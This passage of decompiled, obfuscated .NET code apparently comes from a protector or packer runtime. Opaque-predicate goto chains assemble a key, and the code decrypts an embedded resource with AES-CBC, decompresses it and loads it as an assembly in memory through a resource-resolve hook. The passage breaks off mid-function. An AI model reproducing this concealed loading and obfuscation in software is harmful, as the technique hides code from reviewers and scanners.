label_148:
      numArray1[25] = (byte) (144 - 48);
      num1 = 237;
      if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_260;
      else
        goto label_22;
label_149:
      num4 = 74 + 5;
      num1 = 190;
      goto label_22;
label_156:
      numArray1[31] = (byte) num3;
      num1 = 234;
      goto label_22;
label_161:
      numArray1[22] = (byte) (111 + 112);
      num1 = 50;
      goto label_22;
label_163:
      num3 = 207 - 69;
      num5 = 314;
      goto label_21;
label_164:
      num3 = 98 + 60;
      num1 = 102;
      goto label_22;
label_165:
      numArray2[12] = (byte) num4;
      num1 = 59;
      if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_121;
      else
        goto label_22;
label_166:
      num3 = 179 - 59;
      num1 = 46;
      if (true)
        goto label_22;
label_167:
      return YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT;
label_169:
      numArray2[3] = (byte) num4;
      num1 = 200;
      if (true)
        goto label_22;
label_170:
      numArray2[8] = (byte) num4;
      num1 = 41;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_271;
      else
        goto label_22;
label_171:
      numArray1[4] = (byte) num3;
      num5 = 14;
      goto label_21;
label_172:
      num4 = 117 + 2;
      num1 = 73;
      if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_22;
label_173:
      num4 = 43 + 117;
      num1 = 283;
      if (true)
        goto label_22;
label_174:
      YbbxknoBYLxEOxk0Pn.UAiUy9DbJPvrtDfaYG((object) memoryStream);
      num5 = 211;
      goto label_21;
label_175:
      numArray2[5] = (byte) (215 - 71);
      num1 = 226;
      if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_124;
      else
        goto label_22;
label_176:
      numArray2[3] = (byte) (151 - 50);
      num5 = 139;
      goto label_21;
label_180:
      numArray1[25] = (byte) num3;
      num1 = 333;
      goto label_22;
label_183:
      numArray2[2] = (byte) (248 - 82);
      num1 = 24;
      goto label_22;
label_184:
      num4 = 83 + 71;
      num1 = 291;
      if (true)
        goto label_22;
label_185:
      numArray1[29] = (byte) (59 + 70);
      num5 = 103;
      goto label_21;
label_191:
      num5 = 80;
      goto label_21;
label_192:
      numArray1[0] = (byte) num3;
      num1 = 247;
      goto label_22;
label_195:
      numArray1[21] = (byte) num3;
      num1 = 220;
      if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_174;
      else
        goto label_22;
label_196:
      numArray2[9] = (byte) (92 + 120);
      num1 = 169;
      goto label_22;
label_197:
      numArray2[12] = (byte) (33 + 73);
      num5 = 239;
      goto label_21;
label_198:
      YbbxknoBYLxEOxk0Pn.wgwDwA8ohM5msjfHGT((object) cryptoStream);
      num1 = 18;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_138;
      else
        goto label_22;
label_199:
      numArray1[21] = (byte) num3;
      num5 = 267;
      goto label_21;
label_200:
      num3 = 73 + 52;
      num1 = 222;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_165;
      else
        goto label_22;
label_203:
      numArray1[10] = (byte) (137 - 92);
      num5 = 25;
      goto label_21;
label_204:
      num3 = 230 - 76;
      num5 = 45;
      goto label_21;
label_206:
      numArray1[18] = (byte) num3;
      num5 = 303;
      goto label_21;
label_207:
      num3 = 79 + 10;
      num1 = 319;
      goto label_22;
label_208:
      numArray1[21] = (byte) (79 + 71);
      num5 = 275;
      goto label_21;
label_211:
      numArray1[13] = (byte) (248 - 82);
      num1 = 140;
      goto label_22;
label_219:
      byte[] numArray6 = (byte[]) YbbxknoBYLxEOxk0Pn.\u0031q1Ytpay3HDTvk0H9h((object) binaryReader, (int) YbbxknoBYLxEOxk0Pn.ixBAQJTGfCYrqbKeEu(YbbxknoBYLxEOxk0Pn.\u0034HtC5nv8XcO9RgF2J4((object) binaryReader)));
      num5 = 215;
      goto label_21;
label_220:
      numArray1[31] = (byte) num3;
      num1 = 117;
      if (true)
        goto label_22;
label_221:
      numArray2[2] = (byte) num4;
      num5 = 206;
      goto label_21;
label_222:
      numArray1[31] = (byte) num3;
      num5 = 282;
      goto label_21;
label_224:
      numArray2[14] = (byte) (96 - 59);
      num1 = 167;
      if (true)
        goto label_22;
label_225:
      numArray2[14] = (byte) (244 - 81);
      num5 = 134;
      goto label_21;
label_226:
      numArray2[1] = (byte) num4;
      num1 = 328;
      goto label_22;
label_227:
      num4 = 214 - 71;
      num5 = 82;
      goto label_21;
label_230:
      numArray1[29] = (byte) num3;
      num1 = 231;
      if (true)
        goto label_22;
label_231:
      numArray1[14] = (byte) (134 - 44);
      num1 = 38;
      goto label_22;
label_235:
      num4 = 147 - 49;
      num5 = 272;
      goto label_21;
label_236:
      YbbxknoBYLxEOxk0Pn.d5bSH3LxyKFU3Kg4tt((object) rijndaelManaged, CipherMode.CBC);
      num5 = 49;
      goto label_21;
label_237:
      numArray2[14] = (byte) (168 - 56);
      num1 = 218;
      goto label_22;
label_240:
      numArray1[0] = (byte) (165 - 55);
      num1 = 75;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_141;
      else
        goto label_22;
label_241:
      numArray1[22] = (byte) num3;
      num1 = 86;
      goto label_22;
label_242:
      numArray1[0] = (byte) num3;
      num5 = 147;
      goto label_21;
label_243:
      numArray1[15] = (byte) num3;
      num5 = 22;
      goto label_21;
label_244:
      numArray2[6] = (byte) (33 + 105);
      num1 = 154;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_122;
      else
        goto label_22;
label_245:
      numArray2[9] = (byte) (88 + 62);
      num5 = 62;
      goto label_21;
label_249:
      numArray1[26] = (byte) (202 - 124);
      num5 = 66;
      goto label_21;
label_250:
      YbbxknoBYLxEOxk0Pn.t9BlppiIr5xtEoYSCx((object) cryptoStream, (object) numArray6, 0, numArray6.Length);
      num1 = 106;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_203;
      else
        goto label_22;
label_251:
      numArray1[13] = (byte) (167 - 55);
      num1 = 315;
      if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_3;
      else
        goto label_22;
label_254:
      numArray1[6] = (byte) (63 + 28);
      num1 = 69;
      goto label_22;
label_255:
      numArray2[8] = (byte) num4;
      num1 = 119;
      if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_133;
      else
        goto label_22;
label_257:
      num4 = 100 + 16;
      num1 = 23;
      if (true)
        goto label_22;
label_258:
      num4 = 217 - 72;
      num1 = 347;
      if (true)
        goto label_22;
label_259:
      numArray2[4] = (byte) (109 + 16);
      num1 = 113;
      if (true)
        goto label_22;
label_260:
      numArray1[14] = (byte) (174 + 11);
      num1 = 223;
      goto label_22;
label_261:
      // ISSUE: type reference
      binaryReader = new BinaryReader((Stream) YbbxknoBYLxEOxk0Pn.cIPpt1Fk5Y668kqFc2((object) YbbxknoBYLxEOxk0Pn.\u0036VN2YS9bmjHJ0MIncu(__typeref (tcJNIpeNWph4hwAAuQ)).Assembly, (object) tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1094)));
      num1 = 292;
      goto label_22;
label_262:
      numArray1[10] = (byte) (67 + 97);
      num1 = 330;
      if (true)
        goto label_22;
label_263:
      numArray1[9] = (byte) (155 - 51);
      num1 = 176;
      goto label_22;
label_265:
      numArray2[13] = (byte) (72 + 111);
      num5 = 6;
      goto label_21;
label_266:
      numArray5 = (byte[]) YbbxknoBYLxEOxk0Pn.BmkCyFHHIL76VHldY6((object) memoryStream);
      num1 = 90;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_95;
      else
        goto label_22;
label_267:
      numArray1[3] = (byte) num3;
      num1 = 118;
      if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_22;
label_268:
      numArray1[10] = (byte) num3;
      num1 = 116;
      goto label_22;
label_269:
      numArray1[31] = (byte) (28 + 104);
      num1 = 230;
      if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_275;
      else
        goto label_22;
label_270:
      numArray1[13] = (byte) num3;
      num5 = 17;
      goto label_21;
label_271:
      numArray2[1] = (byte) num4;
      num5 = 225;
      goto label_21;
label_272:
      num3 = 89 + 90;
      num1 = 342;
      if (true)
        goto label_22;
label_273:
      num3 = 74 + 5;
      num1 = 85;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_260;
      else
        goto label_22;
label_275:
      numArray2[2] = (byte) num4;
      num1 = 203;
      if (true)
        goto label_22;
label_276:
      numArray2[2] = (byte) (86 + 73);
      num1 = 340;
      goto label_22;
label_277:
      numArray1[14] = (byte) (71 + 3);
      num5 = 213;
      goto label_21;
label_278:
      numArray2[5] = (byte) num4;
      num1 = 54;
      goto label_22;
label_283:
      YbbxknoBYLxEOxk0Pn.CrrWHqcsx50TSKJvuh(YbbxknoBYLxEOxk0Pn.\u0034HtC5nv8XcO9RgF2J4((object) binaryReader), 0L);
      num1 = 258;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_261;
      else
        goto label_22;
label_284:
      numArray1[2] = (byte) (133 - 118);
      num5 = 107;
      goto label_21;
label_286:
      num3 = 35 + 67;
      num1 = 266;
      if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_268;
      else
        goto label_22;
label_288:
      num3 = 235 - 78;
      num1 = 287;
      if (true)
        goto label_22;
label_289:
      num3 = 164 - 54;
      num5 = 219;
      goto label_21;
label_291:
      numArray1[17] = (byte) (91 + 68);
      num5 = 143;
      goto label_21;
label_292:
      numArray4 = numArray1;
      num5 = 0;
      goto label_21;
label_294:
      numArray1[24] = (byte) (168 - 56);
      num1 = 268;
      if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_270;
      else
        goto label_22;
label_295:
      numArray2[12] = (byte) num4;
      num5 = 180;
      goto label_21;
label_297:
      numArray1[1] = (byte) num3;
      num1 = 331;
      goto label_22;
label_301:
      num3 = 173 - 57;
      num5 = 145;
      goto label_21;
label_302:
      numArray2[5] = (byte) (87 + 76);
      num1 = 293;
      if (true)
        goto label_22;
label_303:
      numArray1[7] = (byte) (234 - 78);
      num1 = 334;
      if (true)
        goto label_22;
label_304:
      numArray2[4] = (byte) (31 + 88);
      num5 = 37;
      goto label_21;
label_305:
      numArray2[4] = (byte) (81 + 94);
      num5 = 228;
      goto label_21;
label_306:
      numArray1[2] = (byte) num3;
      num5 = 35;
      goto label_21;
label_308:
      numArray2[1] = (byte) (214 - 71);
      num1 = 151;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_241;
      else
        goto label_22;
label_311:
      num3 = 105 + 6;
      num1 = 224;
      goto label_22;
label_315:
      numArray1[7] = (byte) num3;
      num5 = 244;
      goto label_21;
label_320:
      numArray1[1] = (byte) num3;
      num1 = 177;
      goto label_22;
label_322:
      numArray2[15] = (byte) num4;
      num5 = 242;
      goto label_21;
label_323:
      num4 = 41 + 3;
      num5 = 270;
      goto label_21;
label_324:
      numArray2[11] = (byte) num4;
      num5 = 199;
      goto label_21;
label_325:
      num3 = 61 + 67;
      num1 = 20;
      goto label_22;
label_328:
      numArray1[18] = (byte) (70 + 100);
      num1 = 254;
      if (true)
        goto label_22;
label_329:
      num3 = 230 - 76;
      num5 = 30;
      goto label_21;
label_333:
      num3 = 102 + 71;
      num1 = 150;
      goto label_22;
label_335:
      numArray2[13] = (byte) (103 + 4);
      num1 = 241;
      if (true)
        goto label_22;
label_336:
      numArray1[8] = (byte) num3;
      num1 = 33;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_352;
      else
        goto label_22;
label_337:
      numArray1[15] = (byte) (165 + 21);
      num1 = 194;
      if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_22;
label_338:
      numArray2[5] = (byte) (75 + 60);
      num5 = 205;
      goto label_21;
label_340:
      numArray1[28] = (byte) (109 + 11);
      num5 = 344;
      goto label_21;
label_342:
      num1 = 337;
      if (true)
        goto label_22;
label_343:
      num4 = 179 - 59;
      num1 = 193;
      goto label_22;
label_344:
      numArray2[8] = (byte) (155 - 51);
      num1 = 311;
      if (true)
        goto label_22;
label_345:
      numArray1[1] = (byte) (69 - 10);
      num1 = 188;
      if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_22;
label_346:
      numArray1[3] = (byte) (244 - 81);
      num1 = 123;
      if (true)
        goto label_22;
label_347:
      numArray2[8] = (byte) (105 + 110);
      num1 = 248;
      if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_22;
label_348:
      numArray2[12] = (byte) num4;
      num5 = 240;
      goto label_21;
label_349:
      numArray2[7] = (byte) (18 + 60);
      num5 = 280;
      goto label_21;
label_350:
      numArray1[16] = (byte) num3;
      num5 = 152;
      goto label_21;
label_351:
      num3 = 105 + 78;
      num1 = 295;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_305;
      else
        goto label_22;
label_352:
      num3 = 170 - 56;
      num1 = 323;
      if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_22;
label_353:
      num3 = 4 + 111;
      num1 = 7;
      if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_22;
label_354:
      numArray1[20] = (byte) (2 + 95);
      num1 = 249;
      goto label_22;
label_355:
      return (Assembly) null;
label_357:
      rijndaelManaged = new RijndaelManaged();
      num1 = 84;
      if (true)
        goto label_22;
      else
        goto label_302;
    }

    [MethodImpl(MethodImplOptions.NoInlining)]
    public YbbxknoBYLxEOxk0Pn() => AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(YbbxknoBYLxEOxk0Pn.Uj1VGPQhn);

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static void kLjw4iIsCLsZtxc4lksN0j()
    {
      if (YbbxknoBYLxEOxk0Pn.fTu8VEKSg)
        return;
      YbbxknoBYLxEOxk0Pn.fTu8VEKSg = true;
      if (Environment.GetEnvironmentVariable(tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1170)) == tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1214))
        return;
      YbbxknoBYLxEOxk0Pn ybbxknoByLxEoxk0Pn = new YbbxknoBYLxEOxk0Pn();
    }

    [MethodImpl(MethodImplOptions.NoInlining)]
    static YbbxknoBYLxEOxk0Pn()
    {
    }

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static Type \u0036VN2YS9bmjHJ0MIncu([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0);

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static object cIPpt1Fk5Y668kqFc2([In] object obj0, [In] object obj1) => (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1);

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static object \u0034HtC5nv8XcO9RgF2J4([In] object obj0) => (object) ((BinaryReader) obj0).BaseStream;

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static void CrrWHqcsx50TSKJvuh([In] object obj0, [In] long obj1) => ((Stream) obj0).Position = obj1;

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static long ixBAQJTGfCYrqbKeEu([In] object obj0) => ((Stream) obj0).Length;

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static object \u0031q1Ytpay3HDTvk0H9h([In] object obj0, [In] int obj1) => (object) ((BinaryReader) obj0).ReadBytes(obj1);

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static void d5bSH3LxyKFU3Kg4tt([In] object obj0, [In] CipherMode obj1) => ((SymmetricAlgorithm) obj0).Mode = obj1;

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static object LKX4l47Yoj2lWp0hqh([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2);

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static void t9BlppiIr5xtEoYSCx([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write((byte[]) obj1, obj2, obj3);

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static void wgwDwA8ohM5msjfHGT([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock();

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static object BmkCyFHHIL76VHldY6([In] object obj0) => (object) ((MemoryStream) obj0).ToArray();

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static void UAiUy9DbJPvrtDfaYG([In] object obj0) => ((Stream) obj0).Close();

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static void EdMogJK23C5V2STpQS([In] object obj0) => ((BinaryReader) obj0).Close();

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static object qiaGIPMaalUqZ3sMZf([In] object obj0) => (object) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.PMFLr6jcg((byte[]) obj0);

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static object ms7UFSxhLDM3n3ktTf([In] object obj0) => (object) Assembly.Load((byte[]) obj0);

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static object e8PiFxteCyHSGi0LgY([In] object obj0) => (object) ((Assembly) obj0).GetManifestResourceNames();

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static object WS6tAn0RW8Hurp1Xwj([In] object obj0) => (object) ((ResolveEventArgs) obj0).Name;

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static bool tRIQC2fXT7g74mWlkL([In] object obj0, [In] object obj1) => (string) obj0 == (string) obj1;

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static bool GTJgvmVEjrh4CCn7N6() => true;

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static bool \u0035nPOsTBkhnyaq7ApAB() => false;

    private enum fFQvZdvdBStoltwFwV
    {
    }

    internal class P65q5rcw0MukklQaVB
    {
      [MethodImpl(MethodImplOptions.NoInlining)]
      private static unsafe uint Uj1VGPQhn([In] void* obj0, [In] uint obj1)
      {
        uint num = 0;
        if (BitConverter.IsLittleEndian)
        {
          num = *(uint*) obj0;
        }
        else
        {
          byte* numPtr = (byte*) obj0;
          switch (obj1)
          {
            case 1:
              num = (uint) *numPtr;
              break;
            case 2:
              num = (uint) *numPtr | (uint) numPtr[1] << 8;
              break;
            case 3:
              num = (uint) ((int) *numPtr | (int) numPtr[1] << 8 | (int) numPtr[2] << 16);
              break;
            case 4:
              num = (uint) ((int) *numPtr | (int) numPtr[1] << 8 | (int) numPtr[2] << 16 | (int) numPtr[3] << 24);
              break;
          }
        }
        return num;
      }

      [MethodImpl(MethodImplOptions.NoInlining)]
      private static unsafe void reWBsatke([In] uint obj0, [In] void* obj1, [In] uint obj2)
      {
        if (BitConverter.IsLittleEndian)
        {
          switch (obj2)
          {
            case 1:
              *(sbyte*) obj1 = (sbyte) (byte) obj0;
              break;
            case 2:
            case 3:
            case 4:
              *(int*) obj1 = (int) obj0;
              break;
          }
        }
        else
        {
          byte* numPtr = (byte*) obj1;
          switch (obj2)
          {
            case 1:
              *numPtr = (byte) obj0;
              break;
            case 2:
              *numPtr = (byte) obj0;
              numPtr[1] = (byte) (obj0 >> 8);
              break;
            case 3:
              *numPtr = (byte) obj0;
              numPtr[1] = (byte) (obj0 >> 8);
              numPtr[2] = (byte) (obj0 >> 16);
              break;
            case 4:
              *numPtr = (byte) obj0;
              numPtr[1] = (byte) (obj0 >> 8);
              numPtr[2] = (byte) (obj0 >> 16);
              numPtr[3] = (byte) (obj0 >> 24);
              break;
          }
        }
      }

      [MethodImpl(MethodImplOptions.NoInlining)]
      private static unsafe bool \u0039ML9lo6tT([In] void* obj0, [In] void* obj1, [In] uint obj2)
      {
        bool flag = true;
        for (uint index = 0; flag && index < obj2; ++index)
          flag = (int) *(byte*) ((IntPtr) obj0 + (int) index) == (int) *(byte*) ((IntPtr) obj1 + (int) index);
        return flag;
      }

      [MethodImpl(MethodImplOptions.NoInlining)]
      private static unsafe bool fTu8VEKSg([In] void* obj0, [In] string obj1)
      {
        byte[] bytes = Encoding.ASCII.GetBytes(obj1);
        fixed (byte* numPtr = bytes)
          return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039ML9lo6tT(obj0, (void*) numPtr, (uint) bytes.Length);
      }

      [MethodImpl(MethodImplOptions.NoInlining)]
      private static unsafe void HnbvO3JPm([In] void* obj0, [In] byte obj1, [In] uint obj2)
      {
        for (uint index = 0; index < obj2; ++index)
          *(sbyte*) ((IntPtr) obj0 + (int) index) = (sbyte) obj1;
      }

      [MethodImpl(MethodImplOptions.NoInlining)]
      private static unsafe void \u0031aAAcYcfl([In] void* obj0, [In] void* obj1, [In] uint obj2)
      {
        for (uint index = 0; index < obj2; ++index)
          *(sbyte*) ((IntPtr) obj0 + (int) index) = (sbyte) *(byte*) ((IntPtr) obj1 + (int) index);
      }

      [MethodImpl(MethodImplOptions.NoInlining)]
      private static unsafe void \u0039igTocIex([In] void* obj0, [In] string obj1)
      {
        byte[] bytes = Encoding.ASCII.GetBytes(obj1);
        fixed (byte* numPtr = bytes)
          YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl(obj0, (void*) numPtr, (uint) bytes.Length);
      }

      [MethodImpl(MethodImplOptions.NoInlining)]
      private static unsafe void pnx70C29O([In] byte* obj0, [In] byte* obj1, [In] uint obj2)
      {
        if (BitConverter.IsLittleEndian)
        {
          if (obj2 < 5U)
          {
            *(int*) obj0 = (int) *(uint*) obj1;
          }
          else
          {
            byte* numPtr = obj0 + (int) obj2;
            while (obj0 < numPtr)
            {
              *(int*) obj0 = (int) *(uint*) obj1;
              obj0 += 4;
              obj1 += 4;
            }
          }
        }
        else if (obj2 > 8U && obj1 + (int) obj2 < obj0)
        {
          YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl((void*) obj0, (void*) obj1, obj2);
        }
        else
        {
          byte* numPtr = obj0 + (int) obj2;
          while (obj0 < numPtr)
          {
            *obj0 = *obj1;
            ++obj0;
            ++obj1;
          }
        }
      }

      [MethodImpl(MethodImplOptions.NoInlining)]
      private static unsafe uint UM3hfdlP3(
        [In] byte[] obj0,
        [In] uint obj1,
        [In] YbbxknoBYLxEOxk0Pn.fFQvZdvdBStoltwFwV obj2)
      {
        uint num = 0;
        fixed (byte* numPtr = obj0)
        {
          if (YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.fTu8VEKSg((void*) (numPtr + (int) obj1), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1220)))
            num = *(uint*) (numPtr + (int) obj1 + ((IntPtr) obj2 * 4).ToInt64());
        }
        return num;
      }

      [MethodImpl(MethodImplOptions.NoInlining)]
      private static uint yGrGFt2Ng([In] byte[] obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.UM3hfdlP3(obj0, 0U, (YbbxknoBYLxEOxk0Pn.fFQvZdvdBStoltwFwV) 2);

      [MethodImpl(MethodImplOptions.NoInlining)]
      public static uint \u0034J3iGuO2D([In] byte[] obj0, [In] uint obj1) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.UM3hfdlP3(obj0, obj1, (YbbxknoBYLxEOxk0Pn.fFQvZdvdBStoltwFwV) 3);

      [MethodImpl(MethodImplOptions.NoInlining)]
      private static unsafe uint YPoCMoGHZ([In] byte[] obj0, [In] uint obj1, [In] byte[] obj2, [In] uint obj3)
      {
        fixed (byte* numPtr1 = obj0)
          fixed (byte* numPtr2 = obj2)
          {
            byte* numPtr3 = numPtr1 + (int) obj1;
            uint num1 = 32;
            byte* numPtr4 = numPtr3 + (int) obj3 - 1;
            byte* numPtr5 = numPtr3 + 1;
            byte** numPtr6 = (byte**) (numPtr2 + (int) obj3 + 36000 - ((IntPtr) sizeof (byte*) * 4096).ToInt64() - (long) (numPtr2 + (int) obj3) % 8L);
            byte* numPtr7 = numPtr2 + (int) num1;
            byte* numPtr8 = numPtr2 + (int) num1 + 4 + 1;
            byte* numPtr9 = numPtr8;
            byte* numPtr10 = numPtr5;
            uint num2 = 1073741824;
            uint* numPtr11 = (uint*) numPtr2;
            byte* numPtr12 = numPtr4 - 16;
            YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039igTocIex((void*) numPtr11, tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1232));
            numPtr2[0] = (byte) 81;
            numPtr2[1] = (byte) 67;
            numPtr2[2] = (byte) 76;
            numPtr2[3] = (byte) 90;
            YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(3U, (void*) (numPtr11 + 1), 4U);
            YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(obj3, (void*) (numPtr11 + 3), 4U);
            for (uint index = 0; index < 4096U; ++index)
              *(IntPtr*) ((IntPtr) numPtr6 + (IntPtr) ((long) index * (long) sizeof (byte*))) = (IntPtr) numPtr3;
            (numPtr2 + (int) num1)[4] = *numPtr3;
            while (numPtr5 < numPtr12 - 2050)
            {
              if (((int) num2 & 1) == 1)
              {
                if (numPtr8 + 2050 + 128 > numPtr2 + (int) obj3 + 2050 + 256)
                {
                  YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl((void*) (numPtr2 + (int) num1), (void*) numPtr3, obj3);
                  YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(0U, (void*) (numPtr11 + 4), 4U);
                  YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) obj3 + (int) num1 + 4), (void*) (numPtr11 + 2), 4U);
                  YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039igTocIex((void*) (numPtr2 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr11 + 2), 4U) - 4), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1244));
                  return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr11 + 2), 4U);
                }
                YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((ulong) (num2 >> 1) | 18446744071562067968UL), (void*) numPtr7, 4U);
                numPtr7 = numPtr8;
                numPtr8 += 4;
                num2 = 2147483648U;
                if (numPtr8 - numPtr9 > numPtr5 - numPtr10 && numPtr5 + 4100 < numPtr12)
                {
                  for (; numPtr5 < numPtr10 + 2050 - 32; numPtr5 += 31)
                  {
                    YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(2147483648U, (void*) (numPtr8 - 4), 4U);
                    YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr8, numPtr5, 31U);
                    numPtr8 += 35;
                  }
                  numPtr10 = numPtr5;
                  numPtr9 = numPtr8;
                  numPtr7 = numPtr8 - 4;
                }
              }
              if ((int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U) == (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr5 + 1), 4U))
              {
                uint num3 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U);
                byte* numPtr13 = numPtr5;
                numPtr5 += 5;
                while ((int) num3 == (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U) && numPtr5 < numPtr13 + 2050 - 4)
                  numPtr5 += 4;
                YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) (((int) num3 & (int) byte.MaxValue) << 16 | (int) (uint) ((ulong) (numPtr5 - numPtr13) << 4) | 15), (void*) numPtr8, 4U);
                numPtr8 += 3;
                num2 = num2 >> 1 | 2147483648U;
              }
              else
              {
                uint num4 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U);
                uint num5 = (uint) (((int) (num4 >> 12) ^ (int) num4) & 4095);
                byte* numPtr14 = (byte*) *(IntPtr*) ((IntPtr) numPtr6 + (IntPtr) ((long) num5 * (long) sizeof (byte*)));
                *(IntPtr*) ((IntPtr) numPtr6 + (IntPtr) ((long) num5 * (long) sizeof (byte*))) = (IntPtr) numPtr5;
                if (!BitConverter.IsLittleEndian ? numPtr5 - numPtr14 <= 131071L && numPtr5 - numPtr14 > 3L && (int) *numPtr5 == (int) *numPtr14 && (int) numPtr5[1] == (int) numPtr14[1] && (int) numPtr5[2] == (int) numPtr14[2] : numPtr5 - numPtr14 <= 131071L && numPtr5 - numPtr14 > 3L && (((int) *(uint*) numPtr14 ^ (int) *(uint*) numPtr5) & 16777215) == 0)
                {
                  uint num6 = (uint) (numPtr5 - numPtr14);
                  if (!BitConverter.IsLittleEndian ? (int) numPtr14[3] != (int) numPtr5[3] : (int) *(uint*) numPtr14 != (int) *(uint*) numPtr5)
                  {
